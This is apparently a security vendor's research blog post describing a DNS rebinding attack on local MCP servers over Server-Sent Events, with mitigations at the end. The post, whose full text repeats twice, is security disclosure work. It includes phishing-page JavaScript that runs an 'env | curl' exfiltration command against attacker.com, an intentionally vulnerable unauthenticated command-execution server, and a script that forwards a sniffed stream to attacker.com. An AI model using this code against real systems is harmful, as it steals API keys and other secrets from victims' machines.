Agentic Danger: DNS Rebinding Exposes Internal MCP Servers
The Straiker AI Research (STAR) team found a new attack that we’re calling MCP rebinding attack, which is a combination of DNS rebinding and MCP over Server-Sent Events (SSE) protocol.


Introduction
Model Context Protocol (MCP) servers are rapidly emerging as the connective tissue for enterprise automation and agentic applications. In fact, MCP.so, a site that indexes MCP servers and clients, now lists 13,000 and counting in its repository dramatically increasing exposure to this technology. MCP servers allow organizations to connect large language models (LLMs) and AI agents to a wide range of critical business tools, including Slack, Notion, Stripe, Google Drive, Jira, and more, enabling natural language interfaces for document management, real-time messaging, project tracking, runtime security guardrails, and even direct system command execution.

The appeal of MCP lies in the seamless orchestration of multiple services and data sources through a unified local interface, often installed on individual workstations or developer machines under the assumption that the “localhost” is inherently secure. However, as MCP adoption explodes and more business functions become connected through these agentic apps, attackers are exploiting overlooked risks such as DNS rebinding, which can bypass local network protections and expose sensitive capabilities remotely. This means that the very integrations fueling productivity, access to file storage, business communications, and workflow automation now demand robust security strategies, as the boundary between “local only” and “globally exposed” grows increasingly thin.
In this blog, we’ll dissect how DNS rebinding attacks exploit Server-Sent Events (SSE), a protocol commonly used by MCP servers for real-time streaming communication to the MCP clients. By abusing SSE’s long-lived connections, attackers can pivot from an external phishing domain to target internal MCP servers. As a summary:
- Technical Hook: How an attacker can use SSE’s long-lived connection to enable DNS rebinding.
- Detailed Attack Scenarios: Examples of sensitive data leak from the organization's internal infrastructure.
- Real- world Exploit: The chain of attack to sniff communication from a MCP Server
- Mitigation Strategies: Securing MCP servers without breaking functionality.
NOTE: While MCP Servers started using the Streamable HTTP protocol as a replacement of SSE, the attack we describe below remains the same if no countermeasures are applied.
What is DNS Rebinding?
DNS rebinding enables an attacker to bypass network boundaries, allowing them to use the victim’s browser remotely to access internal resources such as routers or devices on the local network.
The DNS rebinding attack hinges on the attacker’s ability to change the IP address their domain name resolves to, sometimes within seconds, even while a victim’s browser is still communicating with it.
4-step DNS MCP rebinding attack to breach internal MCP servers
The Straiker AI Research (STAR) team found a new attack that we’re calling MCP rebinding attack, which is a combination of DNS rebinding and MCP over Server-Sent Events (SSE) protocol. In Figure 1, the DNS rebind attack flow is described.

Step 1: Initial compromise
The victim visits a malicious site through:
- Normal web browsing (e.g., searching for help)
- A phishing link (e.g., disguised as a legitimate URL), or
- An Agentic app being tricked into connecting to a fake MCP server (e.g., mcp.so.com vs. the legitimate mcp.so)
Step 2: DNS Rebinding
In this example, the victim visits mcp.so.com, which resolves to a public IP (allowed by CORS), but after DNS rebinding, it points to 127.0.0.1. The browser still thinks it's talking to the public mcp.so.com, so it allows the request sent to localhost. Since the TCP connection is already established, the request reaches the local MCP Server.
Step 3: Internal request over SSE
Here is where the SSE protocol’s behavior “fire-and-forget” becomes critical for the attack to succeed. We tricked the browser into sending a request to the internal MCP Server running at http://localhost:8000 while thinking it was the public mcp.so.com, the browser assumes the connection is the “same-origin” after establishment.
Since SSE uses a plain GET request, it skips the browser’s OPTIONS preflight check for new connections, so the malicious connection is successful.
The internal request sent by the phishing site over SSE is shown at Code Block 1, calling a tool that allows the user to execute a command.
function executeHardcodedSSE() {
const hardcodedCmd = "env | curl -X POST --data-binary @- http://attacker.com:8080/exfil";
logToArea('$ ' + hardcodedCmd);
// Abort previous
if (eventSource) eventSource.close();
const targetServer = 'http://mcp.so.com:8000';
const sseUrl = `${targetServer}/sse/command?command=${encodeURIComponent(hardcodedCmd)}`;
eventSource = new EventSource(sseUrl);
eventSource.onmessage = (event) => {
logToArea(event.data);
if (event.data === '[DONE]') {
logToArea('-- Command execution completed --');
eventSource.close();
} else if (event.data.startsWith('ERROR:')) {
logToArea(event.data);
eventSource.close();
}
};
Code Block 1: Attacker Phishing Site
At Code Block 2, it is a portion of the code from the internal MCP Server listening on localhost:8080 that handles the requests via SSE protocol, where it executes any command received without enforcing authentication and sanitization:
@app.get("/sse/command")
async def stream_command_execution(request: Request, command: str):
async def event_stream():
try:
# Start the process
process = await asyncio.create_subprocess_shell(
command,
stdout=asyncio.subprocess.PIPE,
stderr=asyncio.subprocess.PIPE,
shell=True #Explicit for shellc commands
)
# Read output line by line
while True:
line = await process.stdout.readline()
if not line:
break
yield f"data: {line.decode().strip()}\n\n"
# Check for errors
stderr = await process.stderr.read()
if stderr:
yield f"data: ERROR: {stderr.decode().strip()}\n\n"
yield "data: [DONE]\n\n"
except Exception as e:
yield f"data: ERROR: {str(e)}\n\n"
return StreamingResponse(event_stream(), media_type="text/event-stream")
Code Block 2: Vulnerable MCP Server over SSE
Step 4: CORS block for exfiltration is useless
CORS is a browser-enforced security policy. The actual HTTP request still executes on the MCP server (localhost:8000), but the browser prevents the attacker’s JavaScript from reading the response.
In the next code snippet, the SSE Request traffic sent from the phishing site to the internal MCP Server is shown, as you can see, in the initial request, there is no CORS header sent by the browser, allowing the Javascript to read the response:
GET /sse/command?command=env%20%7C%20curl%20-X%20POST%20--data-binary%20%40-%20http%3A%2F%2Fattacker.com%3A8080%2Fexfil HTTP/1.1
Host: mcp.so.com:8000
Connection: keep-alive
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Accept: text/event-stream
Cache-Control: no-cache
Origin: http://mcp.so.com:5000
Referer: http://mcp.so.com:5000/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
HTTP/1.1 200 OK
date: Fri, 09 May 2025 23:25:54 GMT
server: uvicorn
content-type: text/event-stream; charset=utf-8
access-control-allow-origin: *
access-control-allow-credentials: true
transfer-encoding: chunked
data: % Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0
100 2355 0 0 100 2355 0 799k --:--:-- --:--:-- --:--:-- 1149k
curl: (1) Received HTTP/0.9 when not allowed
data: [DONE]
Code Block 3: SSE Traffic captured
But right after, the browser enforces CORS, blocking JavaScript from reading future responses. Below is the error received in the browser console:

In the context of this attack, the attacker does not necessarily need to read the response via Javascript, since it can execute any command locally (see Code Block 2). The malicious request can be a command to exfiltrate environment variables via curl tool to an internet site (See Figure 3).

Demo: DNS rebinding attack over Server-Sent Events
Watch the video demonstrating this attack in action against a MCP Server running locally at 127.0.0.1:
Real-world attack: Sniffing a MCP Server
Now we'll target a live MCP server hosted in GitHub's active, and trusted, Model Context Protocol repository.

Immediately, we see a candidate named “Everything”, per the description, it is intended to be used as a test server for builders of MCP clients, and therefore, it is expected to run locally without internet connectivity. One of the tools available is called “printEnv”, that allows to print the environment variables from the system, in the agentic app world, stealing a licensed API key from OpenAI, DeepSeek, etc, would represent a monetary impact for the organization, and those keys are normally stored in the environment variables.

Even better, the MCP Server supports SSE protocol and Streamable HTTP (apart from stdio) that can also run over SSE, see Figure 6.

We proceed to run the SSE version locally, which listens on port 3001 as seen in Figure 7.

Attack Scenario
In a real-world scenario, an unsuspecting user is running this Everything MCP Server at localhost and eventually connects to a phishing site where the attacker will execute the DNS Rebind to then reach out to the internal server over SSE and start sniffing all the information being executed by the end user.
There is a caveat for this scenario. To sniff into the MCP Server communication, an attacker would need a persistent connection to the internal server, but as we mentioned earlier, CORS blocks the phishing site’s JavaScript from reading any data.
For sniffing demo purposes, we need to introduce a misconfiguration in the Everything server, to basically allow any origin to read data from him:
res.setHeader("Access-Control-Allow-Origin", "*");
This allows the phishing page to establish a persistent SSE connection to the internal server and read its stream. Because the domain is remapped to localhost, the data never appears in the attacker’s browser; JavaScript running on the victim’s page quietly forwards each payload to the attacker’s server.
An implementation of this is shown in Code Block 4.
async function forwardData(data) {
try {
log("Sending data to attacker.com...", 'sent');
const response = await fetch('http://attacker.com:8080/receive', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify(data)
});
log(`✓ Data forwarded (status: ${response.status})`, 'received');
} catch (error) {
log(`✗ Forwarding failed: ${error.message}`, 'error');
}
}
function startExfiltration() {
clearLog();
connectBtn.disabled = true;
printEnvBtn.disabled = false;
log("Connecting to SSE stream at localhost:3001/sse...");
eventSource = new EventSource('http://mcp.so.com:3001/sse');
eventSource.onopen = () => {
log("✔ SSE connection established", 'received');
};
eventSource.onmessage = async (event) => {
try {
const data = JSON.parse(event.data);
log("⬇ Received data:", 'received');
log(JSON.stringify(data, null, 2), 'received');
await forwardData(data);
} catch (e) {
log(`⚠ Received raw message: ${event.data}`, 'received');
await forwardData({raw: event.data});
}
};
Code Block 4. Exfiltration via Javascript
Here’s a video demonstrating this attack in action:
Indirect Countermeasure
A standard HTTP request from the phishing site adds Sec-Fetch-Mode: cors, which forces a CORS pre-flight. The browser sends an OPTIONS request first; if the MCP server can’t handle it, the exploit dies there. That’s not a deliberate defense—just a side effect of CORS. As seen below:
OPTIONS /execute HTTP/1.1
Host: mcp.so.com:8000
Connection: keep-alive
Accept: */*
Access-Control-Request-Method: POST
Access-Control-Request-Headers: content-type
Origin: http://mcp.so.com:5000
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Sec-Fetch-Mode: cors
Referer: http://mcp.so.com:5000/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
HTTP/1.1 405 Method Not Allowed
date: Sat, 10 May 2025 06:32:43 GMT
server: uvicorn
allow: POST
content-length: 31
content-type: application/json
{"detail":"Method Not Allowed"}
The next video demonstrates how the preflight check is triggered, preventing the attack from taking place:
Recommendations to prevent a MCP rebinding attack
To mitigate risks like DNS rebinding and unauthorized access, apply the following security measures to your MCP Server and agentic application setup:
- Enforce authentication on your MCP Servers—even for localhost—and eliminate default credentials.
- Require per-session tokens tied to the initial DNS resolution to prevent session hijacking.
- Validate the “Origin” header on all incoming connections at the MCP Server to ensure requests come from trusted sources.
- Ensure your agentic app and MCP Server communicate exclusively with each other, and monitor their interactions in real time to detect malicious activity.
If you’re interested in what Straiker can do to prevent DNS rebinding from breaching your MCP servers, let’s talk.
Introduction
Model Context Protocol (MCP) servers are rapidly emerging as the connective tissue for enterprise automation and agentic applications. In fact, MCP.so, a site that indexes MCP servers and clients, now lists 13,000 and counting in its repository dramatically increasing exposure to this technology. MCP servers allow organizations to connect large language models (LLMs) and AI agents to a wide range of critical business tools, including Slack, Notion, Stripe, Google Drive, Jira, and more, enabling natural language interfaces for document management, real-time messaging, project tracking, runtime security guardrails, and even direct system command execution.

The appeal of MCP lies in the seamless orchestration of multiple services and data sources through a unified local interface, often installed on individual workstations or developer machines under the assumption that the “localhost” is inherently secure. However, as MCP adoption explodes and more business functions become connected through these agentic apps, attackers are exploiting overlooked risks such as DNS rebinding, which can bypass local network protections and expose sensitive capabilities remotely. This means that the very integrations fueling productivity, access to file storage, business communications, and workflow automation now demand robust security strategies, as the boundary between “local only” and “globally exposed” grows increasingly thin.
In this blog, we’ll dissect how DNS rebinding attacks exploit Server-Sent Events (SSE), a protocol commonly used by MCP servers for real-time streaming communication to the MCP clients. By abusing SSE’s long-lived connections, attackers can pivot from an external phishing domain to target internal MCP servers. As a summary:
- Technical Hook: How an attacker can use SSE’s long-lived connection to enable DNS rebinding.
- Detailed Attack Scenarios: Examples of sensitive data leak from the organization's internal infrastructure.
- Real- world Exploit: The chain of attack to sniff communication from a MCP Server
- Mitigation Strategies: Securing MCP servers without breaking functionality.
NOTE: While MCP Servers started using the Streamable HTTP protocol as a replacement of SSE, the attack we describe below remains the same if no countermeasures are applied.
What is DNS Rebinding?
DNS rebinding enables an attacker to bypass network boundaries, allowing them to use the victim’s browser remotely to access internal resources such as routers or devices on the local network.
The DNS rebinding attack hinges on the attacker’s ability to change the IP address their domain name resolves to, sometimes within seconds, even while a victim’s browser is still communicating with it.
4-step DNS MCP rebinding attack to breach internal MCP servers
The Straiker AI Research (STAR) team found a new attack that we’re calling MCP rebinding attack, which is a combination of DNS rebinding and MCP over Server-Sent Events (SSE) protocol. In Figure 1, the DNS rebind attack flow is described.

Step 1: Initial compromise
The victim visits a malicious site through:
- Normal web browsing (e.g., searching for help)
- A phishing link (e.g., disguised as a legitimate URL), or
- An Agentic app being tricked into connecting to a fake MCP server (e.g., mcp.so.com vs. the legitimate mcp.so)
Step 2: DNS Rebinding
In this example, the victim visits mcp.so.com, which resolves to a public IP (allowed by CORS), but after DNS rebinding, it points to 127.0.0.1. The browser still thinks it's talking to the public mcp.so.com, so it allows the request sent to localhost. Since the TCP connection is already established, the request reaches the local MCP Server.
Step 3: Internal request over SSE
Here is where the SSE protocol’s behavior “fire-and-forget” becomes critical for the attack to succeed. We tricked the browser into sending a request to the internal MCP Server running at http://localhost:8000 while thinking it was the public mcp.so.com, the browser assumes the connection is the “same-origin” after establishment.
Since SSE uses a plain GET request, it skips the browser’s OPTIONS preflight check for new connections, so the malicious connection is successful.
The internal request sent by the phishing site over SSE is shown at Code Block 1, calling a tool that allows the user to execute a command.
function executeHardcodedSSE() {
const hardcodedCmd = "env | curl -X POST --data-binary @- http://attacker.com:8080/exfil";
logToArea('$ ' + hardcodedCmd);
// Abort previous
if (eventSource) eventSource.close();
const targetServer = 'http://mcp.so.com:8000';
const sseUrl = `${targetServer}/sse/command?command=${encodeURIComponent(hardcodedCmd)}`;
eventSource = new EventSource(sseUrl);
eventSource.onmessage = (event) => {
logToArea(event.data);
if (event.data === '[DONE]') {
logToArea('-- Command execution completed --');
eventSource.close();
} else if (event.data.startsWith('ERROR:')) {
logToArea(event.data);
eventSource.close();
}
};
Code Block 1: Attacker Phishing Site
At Code Block 2, it is a portion of the code from the internal MCP Server listening on localhost:8080 that handles the requests via SSE protocol, where it executes any command received without enforcing authentication and sanitization:
@app.get("/sse/command")
async def stream_command_execution(request: Request, command: str):
async def event_stream():
try:
# Start the process
process = await asyncio.create_subprocess_shell(
command,
stdout=asyncio.subprocess.PIPE,
stderr=asyncio.subprocess.PIPE,
shell=True #Explicit for shellc commands
)
# Read output line by line
while True:
line = await process.stdout.readline()
if not line:
break
yield f"data: {line.decode().strip()}\n\n"
# Check for errors
stderr = await process.stderr.read()
if stderr:
yield f"data: ERROR: {stderr.decode().strip()}\n\n"
yield "data: [DONE]\n\n"
except Exception as e:
yield f"data: ERROR: {str(e)}\n\n"
return StreamingResponse(event_stream(), media_type="text/event-stream")
Code Block 2: Vulnerable MCP Server over SSE
Step 4: CORS block for exfiltration is useless
CORS is a browser-enforced security policy. The actual HTTP request still executes on the MCP server (localhost:8000), but the browser prevents the attacker’s JavaScript from reading the response.
In the next code snippet, the SSE Request traffic sent from the phishing site to the internal MCP Server is shown, as you can see, in the initial request, there is no CORS header sent by the browser, allowing the Javascript to read the response:
GET /sse/command?command=env%20%7C%20curl%20-X%20POST%20--data-binary%20%40-%20http%3A%2F%2Fattacker.com%3A8080%2Fexfil HTTP/1.1
Host: mcp.so.com:8000
Connection: keep-alive
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Accept: text/event-stream
Cache-Control: no-cache
Origin: http://mcp.so.com:5000
Referer: http://mcp.so.com:5000/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
HTTP/1.1 200 OK
date: Fri, 09 May 2025 23:25:54 GMT
server: uvicorn
content-type: text/event-stream; charset=utf-8
access-control-allow-origin: *
access-control-allow-credentials: true
transfer-encoding: chunked
data: % Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0
100 2355 0 0 100 2355 0 799k --:--:-- --:--:-- --:--:-- 1149k
curl: (1) Received HTTP/0.9 when not allowed
data: [DONE]
Code Block 3: SSE Traffic captured
But right after, the browser enforces CORS, blocking JavaScript from reading future responses. Below is the error received in the browser console:

In the context of this attack, the attacker does not necessarily need to read the response via Javascript, since it can execute any command locally (see Code Block 2). The malicious request can be a command to exfiltrate environment variables via curl tool to an internet site (See Figure 3).

Demo: DNS rebinding attack over Server-Sent Events
Watch the video demonstrating this attack in action against a MCP Server running locally at 127.0.0.1:
Real-world attack: Sniffing a MCP Server
Now we'll target a live MCP server hosted in GitHub's active, and trusted, Model Context Protocol repository.

Immediately, we see a candidate named “Everything”, per the description, it is intended to be used as a test server for builders of MCP clients, and therefore, it is expected to run locally without internet connectivity. One of the tools available is called “printEnv”, that allows to print the environment variables from the system, in the agentic app world, stealing a licensed API key from OpenAI, DeepSeek, etc, would represent a monetary impact for the organization, and those keys are normally stored in the environment variables.

Even better, the MCP Server supports SSE protocol and Streamable HTTP (apart from stdio) that can also run over SSE, see Figure 6.

We proceed to run the SSE version locally, which listens on port 3001 as seen in Figure 7.

Attack Scenario
In a real-world scenario, an unsuspecting user is running this Everything MCP Server at localhost and eventually connects to a phishing site where the attacker will execute the DNS Rebind to then reach out to the internal server over SSE and start sniffing all the information being executed by the end user.
There is a caveat for this scenario. To sniff into the MCP Server communication, an attacker would need a persistent connection to the internal server, but as we mentioned earlier, CORS blocks the phishing site’s JavaScript from reading any data.
For sniffing demo purposes, we need to introduce a misconfiguration in the Everything server, to basically allow any origin to read data from him:
res.setHeader("Access-Control-Allow-Origin", "*");
This allows the phishing page to establish a persistent SSE connection to the internal server and read its stream. Because the domain is remapped to localhost, the data never appears in the attacker’s browser; JavaScript running on the victim’s page quietly forwards each payload to the attacker’s server.
An implementation of this is shown in Code Block 4.
async function forwardData(data) {
try {
log("Sending data to attacker.com...", 'sent');
const response = await fetch('http://attacker.com:8080/receive', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify(data)
});
log(`✓ Data forwarded (status: ${response.status})`, 'received');
} catch (error) {
log(`✗ Forwarding failed: ${error.message}`, 'error');
}
}
function startExfiltration() {
clearLog();
connectBtn.disabled = true;
printEnvBtn.disabled = false;
log("Connecting to SSE stream at localhost:3001/sse...");
eventSource = new EventSource('http://mcp.so.com:3001/sse');
eventSource.onopen = () => {
log("✔ SSE connection established", 'received');
};
eventSource.onmessage = async (event) => {
try {
const data = JSON.parse(event.data);
log("⬇ Received data:", 'received');
log(JSON.stringify(data, null, 2), 'received');
await forwardData(data);
} catch (e) {
log(`⚠ Received raw message: ${event.data}`, 'received');
await forwardData({raw: event.data});
}
};
Code Block 4. Exfiltration via Javascript
Here’s a video demonstrating this attack in action:
Indirect Countermeasure
A standard HTTP request from the phishing site adds Sec-Fetch-Mode: cors, which forces a CORS pre-flight. The browser sends an OPTIONS request first; if the MCP server can’t handle it, the exploit dies there. That’s not a deliberate defense—just a side effect of CORS. As seen below:
OPTIONS /execute HTTP/1.1
Host: mcp.so.com:8000
Connection: keep-alive
Accept: */*
Access-Control-Request-Method: POST
Access-Control-Request-Headers: content-type
Origin: http://mcp.so.com:5000
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Sec-Fetch-Mode: cors
Referer: http://mcp.so.com:5000/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
HTTP/1.1 405 Method Not Allowed
date: Sat, 10 May 2025 06:32:43 GMT
server: uvicorn
allow: POST
content-length: 31
content-type: application/json
{"detail":"Method Not Allowed"}
The next video demonstrates how the preflight check is triggered, preventing the attack from taking place:
Recommendations to prevent a MCP rebinding attack
To mitigate risks like DNS rebinding and unauthorized access, apply the following security measures to your MCP Server and agentic application setup:
- Enforce authentication on your MCP Servers—even for localhost—and eliminate default credentials.
- Require per-session tokens tied to the initial DNS resolution to prevent session hijacking.
- Validate the “Origin” header on all incoming connections at the MCP Server to ensure requests come from trusted sources.
- Ensure your agentic app and MCP Server communicate exclusively with each other, and monitor their interactions in real time to detect malicious activity.
If you’re interested in what Straiker can do to prevent DNS rebinding from breaching your MCP servers, let’s talk.
similar resources
Secure your agentic AI and AI-native application journey with Straiker
.avif)